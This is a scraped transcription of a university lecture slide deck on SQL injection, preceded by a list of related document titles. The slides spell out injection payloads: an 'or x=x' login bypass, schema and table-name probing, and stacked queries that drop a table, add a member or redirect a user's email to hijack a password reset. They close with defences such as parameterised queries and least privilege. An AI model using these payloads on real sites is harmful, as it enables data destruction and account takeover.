SQL Injection Attack



Similar documents
Web Applications Security: SQL Injection Attack

Serious Threat. Targets for Attack. Characterization of Attack. SQL Injection 4/9/2010 COMP On August 17, 2009, the United States Justice

ClickCartPro Software Installation README

MapReduce. MapReduce and SQL Injections. CS 3200 Final Lecture. Introduction. MapReduce. Programming Model. Example

PHP/MySQL SQL Injections: Understanding MySQL Union Poisoining. Jason A. Medeiros :: CEO :: Presented for DC619 All Content Grayscale Research 2008

SQL Injection Attack Lab Using Collabtive

Guide to Web Hosting in CIS. Contents. Information for website administrators. ITEE IT Support

Understanding Sql Injection

LAMP : THE PROMINENT OPEN SOURCE WEB PLATFORM FOR QUERY EXECUTION AND RESOURCE OPTIMIZATION. R. Mohanty Mumbai, India

Website Pros Templates v1.0. Database Template Overview

WebCruiser Web Vulnerability Scanner User Guide

SQL Server Instance-Level Benchmarks with DVDStore

Getting an ipath server running on Linux

DIPLOMA IN WEBDEVELOPMENT

System requirements. Java SE Runtime Environment(JRE) 7 (32bit) Java SE Runtime Environment(JRE) 6 (64bit) Java SE Runtime Environment(JRE) 7 (64bit)

SQL Injection. SQL Injection. CSCI 4971 Secure Software Principles. Rensselaer Polytechnic Institute. Spring

SQL Injection. Sajjad Pourali CERT of Ferdowsi University of Mashhad

Threat Modelling for Web Application Deployment. Ivan Ristic (Thinking Stone)

Check list for web developers

All about the PowerDNS nameserver and how you can use it.

How-To: MySQL as a linked server in MS SQL Server

2.3 - Installing the moveon management module - SQL version

About This Document 3. About the Migration Process 4. Requirements and Prerequisites 5. Requirements... 5 Prerequisites... 5

DBX. SQL database extension for Splunk. Siegfried Puchbauer

1. Building Testing Environment

Labtech Learning Management System. Windows Installation. Standart Version 1.0

Manage a Firewall Using your Plesk Control Panel Contents

Web Application Guidelines

Database Security. Principle of Least Privilege. DBMS Security. IT420: Database Management and Organization. Database Security.

Internal Penetration Test

USING MYWEBSQL FIGURE 1: FIRST AUTHENTICATION LAYER (ENTER YOUR REGULAR SIMMONS USERNAME AND PASSWORD)

DEVELOP ROBOTS DEVELOPROBOTS. We Innovate Your Business

HP NonStop JDBC Type 4 Driver Performance Tuning Guide for Version 1.0

Installation Guide. C o p y r i g h t , S e e F i l e S o f t w a r e L L C

Security and Control Issues within Relational Databases

5 Simple Steps to Secure Database Development

Bijlage1. Software Requirements Specification CIS. For. Version 1.0 final. Prepared by Saidou Diallo. HvA/Inaxion. November 2009

SQL Injection. Blossom Hands-on exercises for computer forensics and security

SQL Injection Attack Lab

SECURING APACHE : THE BASICS - III

T14 RUMatricula Phase II. Section 1 Metaphor and requirements

Lesson 7 - Website Administration

1. Introduction. 1.1 Purpose of this Document

A SQL Injection : Internal Investigation of Injection, Detection and Prevention of SQL Injection Attacks

CCM 4350 Week 11. Security Architecture and Engineering. Guest Lecturer: Mr Louis Slabbert School of Science and Technology.

STABLE & SECURE BANK lab writeup. Page 1 of 21

Expert PHP and MySQL. Application Desscpi and Development. Apress" Marc Rochkind

Operating Systems compatible with GigasoftOBM / GigasoftACB (Supported Operation System List):

IT360: Applied Database Systems. Database Security. Kroenke: Ch 9, pg PHP and MySQL: Ch 9, pg

SQL Injection January 23, 2013

UQC103S1 UFCE Systems Development. uqc103s/ufce PHP-mySQL 1

Online Vulnerability Scanner Quick Start Guide

Lucid Key Server v2 Installation Documentation.

Open-Source Daycare Management System Project Proposal

Database Extension 1.5 ez Publish Extension Manual

WordPress Security Scan Configuration

MSSQL quick start guide

REDCap General Security Overview

Advanced Web Security, Lab

Installation Instructions

Architecture and Mode of Operation

IT Support Tracking with Request Tracker (RT)

Digital Downloads Pro

The Advantages of PostgreSQL

Getting started with PostgreSQL

*Described in the Release Notes. Generally this step will be performed by the admin end-users.

Offensive Security. Advanced Web Attacks and Exploitation. Mati Aharoni Devon Kearns. v. 1.0

E-Commerce: Designing And Creating An Online Store

The anatomy of an online banking fraud

Project 2: Penetration Testing (Phase II)

SQL Injection Vulnerabilities in Desktop Applications

Short notes on webpage programming languages

Deciphering The Prominent Security Tools Ofkali Linux

Written by: Johan Strand, Reviewed by: Chafic Nassif, Date: Getting an ipath server running on Linux

LABSHEET 1: creating a table, primary keys and data types

Configuring Apache Derby for Performance and Durability Olav Sandstå

Using Ruby on Rails for Web Development. Introduction Guide to Ruby on Rails: An extensive roundup of 100 Ultimate Resources

CSCI110 Exercise 4: Database - MySQL

What will be supplied with chemoventory package?

Securing and Accelerating Databases In Minutes using GreenSQL

EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke

Welcome to Collage (Draft v0.1)

Hosted Acronis Backup Cloud. Keep your data safe with our cloud backup service, powered by Acronis

Practical Identification of SQL Injection Vulnerabilities

DESIGNING OF REQUEST TRACKER FOR CLOUD RESOURCES AND INTRANET

Table of Contents SQL Server Option

Penetration Testing: Lessons from the Field

Testing Web Applications for SQL Injection Sam Shober

Transcription:

SQL Injection Attack Modus operandi... Sridhar.V.Iyer siyer02@syr.edu Department of Computer & Informations Sciences Syracuse University, Syracuse, NY-13210 SQL Injection Attack p. 1

SQL What is SQL? SQL Injection Attack p. 2

SQL What is SQL? Where is it used? SQL Injection Attack p. 2

SQL What is SQL? Where is it used? Why do we use it? SQL Injection Attack p. 2

Web Technologies Platform: Linux, OpenBSD, FreeBSD, Solaris and... Windows. SQL Injection Attack p. 3

Web Technologies Platform: Linux, OpenBSD, FreeBSD, Solaris and... Windows. Web Servers: Apache, LightTPD, Yaws, Tux, IIS SQL Injection Attack p. 3

Web Technologies Platform: Linux, OpenBSD, FreeBSD, Solaris and... Windows. Web Servers: Apache, LightTPD, Yaws, Tux, IIS Databases: MySQL, PostgreSQL, Firebird, MSSQL server SQL Injection Attack p. 3

Web Technologies Platform: Linux, OpenBSD, FreeBSD, Solaris and... Windows. Web Servers: Apache, LightTPD, Yaws, Tux, IIS Databases: MySQL, PostgreSQL, Firebird, MSSQL server Scripting Languages: Php, CGI/Perl, SmallTalk, ASP.NET SQL Injection Attack p. 3

Web Technologies Platform: Linux, OpenBSD, FreeBSD, Solaris and... Windows. Web Servers: Apache, LightTPD, Yaws, Tux, IIS Databases: MySQL, PostgreSQL, Firebird, MSSQL server Scripting Languages: Php, CGI/Perl, SmallTalk, ASP.NET Other Alternatives: J2EE/JSP etc. SQL Injection Attack p. 3

Modus Operandi... Steve Friedl s way Know your enemy SQL Injection Attack p. 4

Modus Operandi... Steve Friedl s way Know your enemy Find his/her weakness SQL Injection Attack p. 4

Modus Operandi... Steve Friedl s way Know your enemy Find his/her weakness Attack his/her weakness SQL Injection Attack p. 4

Modus Operandi... Steve Friedl s way Know your enemy Find his/her weakness Attack his/her weakness SQL Injection Attack p. 4

Anatomy of the Attack The constructed SQL should be like SELECT list FROM table WHERE field= $EMAIL ; SQL Injection Attack p. 5

Anatomy of the Attack The constructed SQL should be like SELECT list FROM table WHERE field= $EMAIL ; What if I give my own email and complete the query for form? SELECT list FROM table WHERE field= neo@zion.com ; SQL Injection Attack p. 5

Anatomy of the Attack The constructed SQL should be like SELECT list FROM table WHERE field= $EMAIL ; What if I give my own email and complete the query for form? SELECT list FROM table WHERE field= neo@zion.com ; What is the output? SQL Injection Attack p. 5

Lets dig deeper... Lets create a valid query SELECT list FROM table WHERE field= something or x = x ; SQL Injection Attack p. 6

Lets dig deeper... Lets create a valid query SELECT list FROM table WHERE field= something or x = x ; Result? Your login information has been mailed to agent.smith@matrix.com Dont recognize that email address Server error!! SQL Injection Attack p. 6

Lets behave ourselves Schema field mapping: Figure out the tentative field list SELECT list FROM table WHERE field= x AND email IS NULL; ; SQL Injection Attack p. 7

Lets behave ourselves Schema field mapping: Figure out the tentative field list SELECT list FROM table WHERE field= x AND email IS NULL; ; Find out as many fields as possible in a similar fashion. SQL Injection Attack p. 7

Lets behave ourselves Schema field mapping: Figure out the tentative field list SELECT list FROM table WHERE field= x AND email IS NULL; ; Find out as many fields as possible in a similar fashion. Find out the table name. How? SQL Injection Attack p. 7

Lets behave ourselves We can try the query SELECT COUNT(*) FROM tablename; SELECT... email= x AND 1=(SELECT COUNT(*) FROM tablename); ; SQL Injection Attack p. 8

Lets behave ourselves We can try the query SELECT COUNT(*) FROM tablename; SELECT... email= x AND 1=(SELECT COUNT(*) FROM tablename); ; Again educated guess is required. The sites wont have cryptic table names. SQL Injection Attack p. 8

Lets behave ourselves We can try the query SELECT COUNT(*) FROM tablename; SELECT... email= x AND 1=(SELECT COUNT(*) FROM tablename); ; Again educated guess is required. The sites wont have cryptic table names. Are we interested in this table? SELECT list FROM table WHERE field= x AND members.email IS NULL; ; SQL Injection Attack p. 8

If the database wasn t readonly?? Bazoooooka SELECT... = x ; DROP TABLE members; ; SQL Injection Attack p. 9

If the database wasn t readonly?? Bazoooooka SELECT... = x ; DROP TABLE members; ; Add a new member SELECT... = x ; INSERT INTO members{... } VALUES {... }; ; SQL Injection Attack p. 9

If the database wasn t readonly?? Bazoooooka SELECT... = x ; DROP TABLE members; ; Add a new member SELECT... = x ; INSERT INTO members{... } VALUES {... }; ; Mail me the password SELECT... = x ; UPDATE members SET email=neo@zion.com WHERE email=agent.smith@matrix.com ; SQL Injection Attack p. 9

Other Methods Use xp_cmdshell: Something like Macro for MS Word Map Database structure: Do more of the stuff we already discussed for just one form SQL Injection Attack p. 10

Time for some action http://128.230.212.170/apache2-default/login.php SQL Injection Attack p. 11

How not to do the wrong thing Sanitize the Input SQL Injection Attack p. 12

How not to do the wrong thing Sanitize the Input Quotesafe the Input SQL Injection Attack p. 12

How not to do the wrong thing Sanitize the Input Quotesafe the Input Use bounded parameters SQL Injection Attack p. 12

How not to do the wrong thing Sanitize the Input Quotesafe the Input Use bounded parameters Limit Database Permission and segregate users SQL Injection Attack p. 12

How not to do the wrong thing Sanitize the Input Quotesafe the Input Use bounded parameters Limit Database Permission and segregate users Use Stored procedures for database access SQL Injection Attack p. 12

How not to do the wrong thing Sanitize the Input Quotesafe the Input Use bounded parameters Limit Database Permission and segregate users Use Stored procedures for database access Isolate the Webserver SQL Injection Attack p. 12

How not to do the wrong thing Sanitize the Input Quotesafe the Input Use bounded parameters Limit Database Permission and segregate users Use Stored procedures for database access Isolate the Webserver Configure Error Reporting SQL Injection Attack p. 12

DISCLAIMER Any actual or imagined resemblance to our far more civilized world today is unintentional and purely coincidental The purpose of this presentation is purely educational SQL Injection Attack p. 13

Reference http://www.unixwiz.net/techtips/sqlinjection.html Php Manual. MySQL Manual. Google... ofcourse. This site has been created using prosper package on L A T E X SQL Injection Attack p. 14

Questions? Thanks SQL Injection Attack p. 15